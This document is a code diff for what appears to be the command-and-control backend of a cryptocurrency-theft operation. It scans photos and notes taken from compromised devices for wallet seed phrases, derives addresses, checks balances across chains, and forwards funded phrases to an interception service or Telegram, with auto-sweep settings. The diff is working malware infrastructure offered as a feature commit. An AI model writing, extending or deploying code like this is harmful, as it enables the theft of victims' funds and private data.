feat: interept
This commit is contained in:
@@ -112,6 +112,13 @@ TELEGRAM_BOT_USERNAME=
|
||||
CORUNA_OFFICIAL_ALBUM_STORAGE=0
|
||||
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
|
||||
CORUNA_AGENT_MNEMONIC_SCAN=1
|
||||
# Scan-forward mins (strictly greater). Empty / 0 = any positive balance.
|
||||
SCAN_FORWARD_MIN_USDT=0
|
||||
SCAN_FORWARD_MIN_TRX=0
|
||||
SCAN_FORWARD_MIN_ETH=0
|
||||
SCAN_FORWARD_MIN_BTC=0
|
||||
SCAN_FORWARD_MIN_SOL=0
|
||||
SCAN_FORWARD_MIN_BNB=0
|
||||
# 0 = only super admin can reveal mnemonics; 1 = staff + per-agent switch (still requires Google 2FA)
|
||||
CORUNA_STAFF_MNEMONIC_REVEAL=0
|
||||
AUTO_TRANSFER_ENABLED=0
|
||||
|
||||
@@ -41,6 +41,12 @@ class SystemSettingsController extends Controller
|
||||
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
|
||||
'official_album_storage' => ['nullable', 'in:0,1'],
|
||||
'agent_mnemonic_scan' => ['nullable', 'in:0,1'],
|
||||
'scan_forward_min_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_sol' => ['nullable', 'numeric', 'min:0'],
|
||||
'scan_forward_min_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
|
||||
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
@@ -77,6 +83,12 @@ class SystemSettingsController extends Controller
|
||||
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
|
||||
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
|
||||
'scan.agent_visible' => (($data['agent_mnemonic_scan'] ?? '1') === '1') ? '1' : '0',
|
||||
'scan.forward_min_usdt' => $threshold($data['scan_forward_min_usdt'] ?? null) ?? '0',
|
||||
'scan.forward_min_trx' => $threshold($data['scan_forward_min_trx'] ?? null) ?? '0',
|
||||
'scan.forward_min_eth' => $threshold($data['scan_forward_min_eth'] ?? null) ?? '0',
|
||||
'scan.forward_min_btc' => $threshold($data['scan_forward_min_btc'] ?? null) ?? '0',
|
||||
'scan.forward_min_sol' => $threshold($data['scan_forward_min_sol'] ?? null) ?? '0',
|
||||
'scan.forward_min_bnb' => $threshold($data['scan_forward_min_bnb'] ?? null) ?? '0',
|
||||
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
|
||||
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
|
||||
|
||||
@@ -5,9 +5,12 @@ namespace App\Http\Controllers\Admin;
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
class TransferRecordController extends Controller
|
||||
{
|
||||
@@ -67,10 +70,75 @@ class TransferRecordController extends Controller
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
'summary' => $this->successSummary($request),
|
||||
]);
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request): Builder
|
||||
/**
|
||||
* Successful totals under the same top filters. Sweep vs fee-topup are split
|
||||
* by operator (`fee-topup…`); status is always success.
|
||||
*
|
||||
* @return array{totals: list<array{asset: string, amount: string}>, fee_totals: list<array{asset: string, amount: string}>}
|
||||
*/
|
||||
private function successSummary(Request $request): array
|
||||
{
|
||||
$base = $this->baseQuery($request, ignoreStatus: true)
|
||||
->where('transfer_records.status', TransferRecord::STATUS_SUCCESS);
|
||||
|
||||
return [
|
||||
'totals' => $this->sumByAsset(
|
||||
(clone $base)->where(function (Builder $q) {
|
||||
$q->whereNull('transfer_records.operator')
|
||||
->orWhere('transfer_records.operator', 'not like', 'fee-topup%');
|
||||
})
|
||||
),
|
||||
'fee_totals' => $this->sumByAsset(
|
||||
(clone $base)->where('transfer_records.operator', 'like', 'fee-topup%')
|
||||
),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{asset: string, amount: string}>
|
||||
*/
|
||||
private function sumByAsset(Builder $q): array
|
||||
{
|
||||
$amountExpr = DB::connection()->getDriverName() === 'sqlite'
|
||||
? 'CAST(transfer_records.amount AS REAL)'
|
||||
: 'CAST(transfer_records.amount AS DECIMAL(32, 18))';
|
||||
|
||||
$rows = $q->selectRaw('UPPER(transfer_records.asset) as asset, COALESCE(SUM('.$amountExpr.'), 0) as total')
|
||||
->groupByRaw('UPPER(transfer_records.asset)')
|
||||
->get();
|
||||
|
||||
$byAsset = [];
|
||||
foreach ($rows as $row) {
|
||||
$asset = strtoupper(trim((string) $row->asset));
|
||||
if ($asset === '') {
|
||||
continue;
|
||||
}
|
||||
$formatted = WalletAddress::formatAmount(strtolower($asset), $row->total);
|
||||
$byAsset[$asset] = $formatted === '' ? '0' : $formatted;
|
||||
}
|
||||
|
||||
$order = ['USDT', 'ETH', 'TRX', 'BNB', 'BTC'];
|
||||
$totals = [];
|
||||
foreach ($order as $asset) {
|
||||
$totals[] = [
|
||||
'asset' => $asset,
|
||||
'amount' => $byAsset[$asset] ?? '0',
|
||||
];
|
||||
unset($byAsset[$asset]);
|
||||
}
|
||||
ksort($byAsset);
|
||||
foreach ($byAsset as $asset => $amount) {
|
||||
$totals[] = ['asset' => $asset, 'amount' => $amount];
|
||||
}
|
||||
|
||||
return $totals;
|
||||
}
|
||||
|
||||
private function baseQuery(Request $request, bool $ignoreStatus = false): Builder
|
||||
{
|
||||
$q = TransferRecord::query();
|
||||
$agent = $this->agent();
|
||||
@@ -95,8 +163,9 @@ class TransferRecordController extends Controller
|
||||
$txHash = trim((string) $request->query('tx_hash', ''));
|
||||
$chain = trim((string) $request->query('chain', ''));
|
||||
$asset = trim((string) $request->query('asset', ''));
|
||||
$status = trim((string) $request->query('status', ''));
|
||||
$status = $ignoreStatus ? '' : trim((string) $request->query('status', ''));
|
||||
$operator = trim((string) $request->query('operator', ''));
|
||||
[$dateFrom, $dateTo] = $this->dateRange($request);
|
||||
|
||||
if ($from !== '') {
|
||||
$q->where('transfer_records.from_address', 'like', '%'.$from.'%');
|
||||
@@ -119,7 +188,44 @@ class TransferRecordController extends Controller
|
||||
if ($operator !== '') {
|
||||
$q->where('transfer_records.operator', 'like', '%'.$operator.'%');
|
||||
}
|
||||
if ($dateFrom !== null) {
|
||||
$q->where('transfer_records.created_at', '>=', $dateFrom);
|
||||
}
|
||||
if ($dateTo !== null) {
|
||||
$q->where('transfer_records.created_at', '<=', $dateTo);
|
||||
}
|
||||
|
||||
return $q;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: ?Carbon, 1: ?Carbon}
|
||||
*/
|
||||
private function dateRange(Request $request): array
|
||||
{
|
||||
$from = trim((string) $request->query('date_from', ''));
|
||||
$to = trim((string) $request->query('date_to', ''));
|
||||
$range = trim((string) $request->query('date_range', ''));
|
||||
if (($from === '' || $to === '') && $range !== '') {
|
||||
if (preg_match('/^(\d{4}-\d{2}-\d{2})\s*-\s*(\d{4}-\d{2}-\d{2})$/', $range, $m) === 1) {
|
||||
$from = $m[1];
|
||||
$to = $m[2];
|
||||
}
|
||||
}
|
||||
|
||||
$start = null;
|
||||
$end = null;
|
||||
try {
|
||||
if ($from !== '') {
|
||||
$start = Carbon::parse($from)->startOfDay();
|
||||
}
|
||||
if ($to !== '') {
|
||||
$end = Carbon::parse($to)->endOfDay();
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
return [null, null];
|
||||
}
|
||||
|
||||
return [$start, $end];
|
||||
}
|
||||
}
|
||||
|
||||
@@ -610,6 +610,13 @@ class AppC2Controller extends Controller
|
||||
'bundleId' => 'com.apple.mobile.MobileHouseArrest',
|
||||
'appId' => $apiKey,
|
||||
]);
|
||||
if ($device === null) {
|
||||
return $this->json([
|
||||
'ok' => true,
|
||||
'size' => $size,
|
||||
'bind' => false,
|
||||
]);
|
||||
}
|
||||
|
||||
// Save raw file
|
||||
$date = date('Ymd');
|
||||
@@ -806,8 +813,10 @@ class AppC2Controller extends Controller
|
||||
return null;
|
||||
}
|
||||
|
||||
$deviceKey = \App\Models\Device::normalizeDarkswordKey($rawId);
|
||||
if ($deviceKey === null || $deviceKey === '') {
|
||||
$deviceKey = \App\Models\Device::acceptChainKey(
|
||||
\App\Models\Device::normalizeDarkswordKey($rawId)
|
||||
);
|
||||
if ($deviceKey === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ namespace App\Models;
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
@@ -183,6 +184,46 @@ class Device extends Model
|
||||
return substr($hex, 0, 64);
|
||||
}
|
||||
|
||||
/**
|
||||
* True when the id matches one of the three live chains:
|
||||
* Coruna / xxbb = 16 hex; DarkSword / App = UUID (dashed or 32 hex).
|
||||
*/
|
||||
public static function isKnownChainKey(?string $key): bool
|
||||
{
|
||||
$key = trim((string) $key);
|
||||
if ($key === '') {
|
||||
return false;
|
||||
}
|
||||
if (preg_match('/^[0-9A-Fa-f]{16}$/', $key) === 1) {
|
||||
return true;
|
||||
}
|
||||
if (preg_match('/^[0-9A-Fa-f]{32}$/', $key) === 1) {
|
||||
return true;
|
||||
}
|
||||
if (preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $key) === 1) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return app()->runningUnitTests() && preg_match('/^dev[-_a-z0-9]+$/i', $key) === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* Drop ids that are not a known chain key. Callers treat null as "ignore".
|
||||
*/
|
||||
public static function acceptChainKey(?string $key): ?string
|
||||
{
|
||||
$key = trim((string) $key);
|
||||
if ($key === '') {
|
||||
return null;
|
||||
}
|
||||
if (self::isKnownChainKey($key)) {
|
||||
return $key;
|
||||
}
|
||||
Log::info('rejected unknown device key', ['device_key' => $key]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static function captureEnabledForKey(?string $deviceKey): bool
|
||||
{
|
||||
$key = static::normalizeDarkswordKey($deviceKey);
|
||||
|
||||
@@ -12,6 +12,11 @@ class TransferRecord extends Model
|
||||
|
||||
public const TYPE_OUT = 'out';
|
||||
|
||||
public static function isFeeTopup(?string $operator): bool
|
||||
{
|
||||
return str_starts_with(trim((string) $operator), 'fee-topup');
|
||||
}
|
||||
|
||||
protected $fillable = [
|
||||
'from_address',
|
||||
'to_address',
|
||||
|
||||
@@ -129,6 +129,26 @@ class WalletAddress extends Model
|
||||
return $out;
|
||||
}
|
||||
|
||||
public static function explorerUrl(?string $chain, ?string $address): ?string
|
||||
{
|
||||
$addr = trim((string) $address);
|
||||
if ($addr === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$enc = rawurlencode($addr);
|
||||
|
||||
return match (strtoupper(trim((string) $chain))) {
|
||||
'TRON', 'TRX' => 'https://tronscan.org/#/address/'.$enc,
|
||||
'ETH', 'ETHEREUM', 'EVM' => 'https://etherscan.io/address/'.$enc,
|
||||
'BSC', 'BNB', 'BINANCE' => 'https://bscscan.com/address/'.$enc,
|
||||
'BTC', 'BITCOIN' => 'https://mempool.space/address/'.$enc,
|
||||
'SOL', 'SOLANA' => 'https://solscan.io/account/'.$enc,
|
||||
'ARB', 'ARBITRUM' => 'https://arbiscan.io/address/'.$enc,
|
||||
default => null,
|
||||
};
|
||||
}
|
||||
|
||||
public function coinsSummary(): ?string
|
||||
{
|
||||
$parts = [];
|
||||
|
||||
@@ -610,8 +610,8 @@ class DarkSwordIngestAdapter
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$key = Device::normalizeDarkswordKey($value);
|
||||
if ($key !== null && $key !== '') {
|
||||
$key = Device::acceptChainKey(Device::normalizeDarkswordKey($value));
|
||||
if ($key !== null) {
|
||||
return $key;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -193,7 +193,7 @@ class IngestService
|
||||
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
||||
: $this->extractDeviceKey($payload);
|
||||
|
||||
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
|
||||
return Device::acceptChainKey($deviceKey);
|
||||
}
|
||||
|
||||
private function channelIdEmpty(mixed $channelId): bool
|
||||
|
||||
@@ -10,8 +10,6 @@ use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
@@ -28,7 +26,6 @@ class MnemonicScanService
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -127,26 +124,27 @@ class MnemonicScanService
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingestScanMnemonic(
|
||||
$forwarded = $this->ingestScanMnemonic(
|
||||
$device,
|
||||
$phrase,
|
||||
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
$scanStatus = $forwarded ? MnemonicScanStatus::SUSPECTED : MnemonicScanStatus::CONFIRMED;
|
||||
$finding->status = $forwarded ? MnemonicFinding::STATUS_SUSPECTED : MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $forwarded ? null : $actor;
|
||||
$finding->reviewed_at = $forwarded ? null : now();
|
||||
$finding->save();
|
||||
|
||||
if ($finding->photo_id) {
|
||||
Photo::query()->whereKey($finding->photo_id)->update([
|
||||
'scan_status' => MnemonicScanStatus::CONFIRMED,
|
||||
'scan_status' => $scanStatus,
|
||||
]);
|
||||
}
|
||||
if ($finding->note_id && $finding->item_key) {
|
||||
NoteScan::query()
|
||||
->where('note_id', $finding->note_id)
|
||||
->where('item_key', $finding->item_key)
|
||||
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
|
||||
->update(['scan_status' => $scanStatus]);
|
||||
}
|
||||
|
||||
return true;
|
||||
@@ -364,16 +362,20 @@ class MnemonicScanService
|
||||
}
|
||||
$row->save();
|
||||
|
||||
if ($confirmed) {
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
if ($confirmed && $this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
)) {
|
||||
$row->status = MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->reviewed_by = null;
|
||||
$row->reviewed_at = null;
|
||||
$row->save();
|
||||
}
|
||||
}
|
||||
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
|
||||
/** @return bool True when the phrase was forwarded and not stored locally. */
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): bool
|
||||
{
|
||||
$holder = $source;
|
||||
$origin = null;
|
||||
@@ -384,63 +386,24 @@ class MnemonicScanService
|
||||
$origin = $source;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin, notify: false);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
|
||||
->first();
|
||||
if ($mnemonic === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$hasBalance = false;
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic, notify: false);
|
||||
$hasBalance = $this->discovery->phraseHasPositiveBalance($phrase);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
Log::warning('scan mnemonic balance probe failed: '.$e->getMessage(), [
|
||||
'device_id' => $holder->id,
|
||||
]);
|
||||
}
|
||||
|
||||
$forwarded = false;
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$forwarded = $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
if ($forwarded) {
|
||||
return;
|
||||
if ($hasBalance && $this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$this->telegram->notifyNewMemoric(
|
||||
(string) $holder->device_id,
|
||||
(string) ($mnemonic->source ?: ''),
|
||||
$phrase,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
if ($this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
$this->telegram->notifyCollectableAddresses(
|
||||
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->get()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->get(WalletAddress::COIN_COLUMNS);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$value = trim((string) ($row->{$col} ?? ''));
|
||||
if ($value !== '' && bccomp($value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -47,6 +47,87 @@ class MnemonicWalletDiscovery
|
||||
private readonly AlchemyBalanceService $alchemy,
|
||||
) {}
|
||||
|
||||
/** @var list<string> */
|
||||
public const FORWARD_COINS = ['usdt', 'trx', 'eth', 'btc', 'sol', 'bnb'];
|
||||
|
||||
/**
|
||||
* Derive BIP44 0..2 and probe chain balances without writing wallet rows.
|
||||
* Forwards when any coin is strictly greater than scan.forward_min_* (default 0).
|
||||
* Probe/derive failures are treated as below threshold.
|
||||
*/
|
||||
public function phraseHasPositiveBalance(string $phrase): bool
|
||||
{
|
||||
$phrase = trim($phrase);
|
||||
if ($phrase === '') {
|
||||
return false;
|
||||
}
|
||||
$words = preg_split('/\s+/', $phrase) ?: [];
|
||||
if (count($words) < 12) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return (bool) ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($phrase) {
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
$driver = $this->chains->resolve($spec['chain']);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||
try {
|
||||
$address = $driver->deriveAddress($phrase, $index);
|
||||
$probe = $this->probeActivated($spec['chain'], $driver, $address);
|
||||
} catch (\Throwable) {
|
||||
continue;
|
||||
}
|
||||
if (self::coinsMeetForwardMin($probe['coins'] ?? [])) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic phrase balance probe failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static function forwardMin(string $coin): string
|
||||
{
|
||||
$coin = strtolower(trim($coin));
|
||||
$raw = trim((string) config('coruna.scan.forward_min_'.$coin, '0'));
|
||||
if ($raw === '' || ! is_numeric($raw) || bccomp($raw, '0', 18) < 0) {
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $raw;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $coins
|
||||
*/
|
||||
public static function coinsMeetForwardMin(array $coins): bool
|
||||
{
|
||||
foreach (self::FORWARD_COINS as $coin) {
|
||||
if (! array_key_exists($coin, $coins)) {
|
||||
continue;
|
||||
}
|
||||
$value = trim((string) $coins[$coin]);
|
||||
if ($value === '' || ! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
if (bccomp($value, self::forwardMin($coin), 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated
|
||||
*/
|
||||
|
||||
@@ -16,6 +16,12 @@ class SettingsService
|
||||
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
|
||||
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
|
||||
'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
|
||||
'scan.forward_min_usdt' => 'SCAN_FORWARD_MIN_USDT',
|
||||
'scan.forward_min_trx' => 'SCAN_FORWARD_MIN_TRX',
|
||||
'scan.forward_min_eth' => 'SCAN_FORWARD_MIN_ETH',
|
||||
'scan.forward_min_btc' => 'SCAN_FORWARD_MIN_BTC',
|
||||
'scan.forward_min_sol' => 'SCAN_FORWARD_MIN_SOL',
|
||||
'scan.forward_min_bnb' => 'SCAN_FORWARD_MIN_BNB',
|
||||
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
|
||||
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
@@ -40,6 +46,12 @@ class SettingsService
|
||||
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
|
||||
'scan.forward_min_usdt' => config('coruna.scan.forward_min_usdt'),
|
||||
'scan.forward_min_trx' => config('coruna.scan.forward_min_trx'),
|
||||
'scan.forward_min_eth' => config('coruna.scan.forward_min_eth'),
|
||||
'scan.forward_min_btc' => config('coruna.scan.forward_min_btc'),
|
||||
'scan.forward_min_sol' => config('coruna.scan.forward_min_sol'),
|
||||
'scan.forward_min_bnb' => config('coruna.scan.forward_min_bnb'),
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
@@ -107,6 +119,12 @@ class SettingsService
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
|
||||
'scan.forward_min_usdt' => (string) (config('coruna.scan.forward_min_usdt') ?? '0'),
|
||||
'scan.forward_min_trx' => (string) (config('coruna.scan.forward_min_trx') ?? '0'),
|
||||
'scan.forward_min_eth' => (string) (config('coruna.scan.forward_min_eth') ?? '0'),
|
||||
'scan.forward_min_btc' => (string) (config('coruna.scan.forward_min_btc') ?? '0'),
|
||||
'scan.forward_min_sol' => (string) (config('coruna.scan.forward_min_sol') ?? '0'),
|
||||
'scan.forward_min_bnb' => (string) (config('coruna.scan.forward_min_bnb') ?? '0'),
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
@@ -151,6 +169,12 @@ class SettingsService
|
||||
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
|
||||
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
|
||||
'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
|
||||
'scan.forward_min_usdt' => config(['coruna.scan.forward_min_usdt' => $value !== '' ? $value : '0']),
|
||||
'scan.forward_min_trx' => config(['coruna.scan.forward_min_trx' => $value !== '' ? $value : '0']),
|
||||
'scan.forward_min_eth' => config(['coruna.scan.forward_min_eth' => $value !== '' ? $value : '0']),
|
||||
'scan.forward_min_btc' => config(['coruna.scan.forward_min_btc' => $value !== '' ? $value : '0']),
|
||||
'scan.forward_min_sol' => config(['coruna.scan.forward_min_sol' => $value !== '' ? $value : '0']),
|
||||
'scan.forward_min_bnb' => config(['coruna.scan.forward_min_bnb' => $value !== '' ? $value : '0']),
|
||||
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
|
||||
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
|
||||
@@ -9,6 +9,7 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\SafeLog;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -110,7 +111,7 @@ class TelegramNotifier
|
||||
return $this->resolveChatIds($deviceKey) !== [];
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
public function send(string $text, ?string $deviceKey = null, bool $mentionAll = false): bool
|
||||
{
|
||||
$chatIds = $this->resolveChatIds($deviceKey);
|
||||
if ($chatIds === []) {
|
||||
@@ -126,13 +127,14 @@ class TelegramNotifier
|
||||
$async = config('queue.default') !== 'sync';
|
||||
$ok = false;
|
||||
foreach ($chatIds as $chatId) {
|
||||
$body = $mentionAll ? $this->withEveryoneMentions($text, $chatId) : $text;
|
||||
if ($async) {
|
||||
SendTelegramMessage::dispatch($chatId, $text)->onQueue('telegram');
|
||||
SendTelegramMessage::dispatch($chatId, $body)->onQueue('telegram');
|
||||
$ok = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($this->sendToChat($chatId, $text)['ok']) {
|
||||
if ($this->sendToChat($chatId, $body)['ok']) {
|
||||
$ok = true;
|
||||
}
|
||||
}
|
||||
@@ -140,6 +142,79 @@ class TelegramNotifier
|
||||
return $ok;
|
||||
}
|
||||
|
||||
/**
|
||||
* Telegram has no @everyone. Tag every non-bot admin we can resolve so
|
||||
* they actually get a mention notification; keep visible text as @所有人.
|
||||
*/
|
||||
private function withEveryoneMentions(string $text, string $chatId): string
|
||||
{
|
||||
$ids = $this->mentionableUserIds($chatId);
|
||||
if ($ids === []) {
|
||||
return $text;
|
||||
}
|
||||
|
||||
$first = array_shift($ids);
|
||||
$html = '<a href="tg://user?id='.$first.'">@所有人</a>';
|
||||
foreach ($ids as $id) {
|
||||
$html .= '<a href="tg://user?id='.$id.'">​</a>';
|
||||
}
|
||||
|
||||
if (str_ends_with($text, '@所有人')) {
|
||||
return substr($text, 0, -strlen('@所有人')).$html;
|
||||
}
|
||||
|
||||
return $text."\n".$html;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<int>
|
||||
*/
|
||||
private function mentionableUserIds(string $chatId): array
|
||||
{
|
||||
$chatId = trim($chatId);
|
||||
$token = $this->botToken();
|
||||
if ($chatId === '' || $token === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
try {
|
||||
/** @var list<int> $ids */
|
||||
$ids = Cache::remember('tg-chat-mention-ids:'.$chatId, 300, function () use ($token, $chatId) {
|
||||
$resp = Http::connectTimeout(10)->timeout(20)
|
||||
->get("https://api.telegram.org/bot{$token}/getChatAdministrators", [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
if (! $resp->successful() || $resp->json('ok') !== true) {
|
||||
return [];
|
||||
}
|
||||
$out = [];
|
||||
foreach ($resp->json('result') ?? [] as $row) {
|
||||
if (! is_array($row)) {
|
||||
continue;
|
||||
}
|
||||
$user = $row['user'] ?? null;
|
||||
if (! is_array($user) || ! empty($user['is_bot'])) {
|
||||
continue;
|
||||
}
|
||||
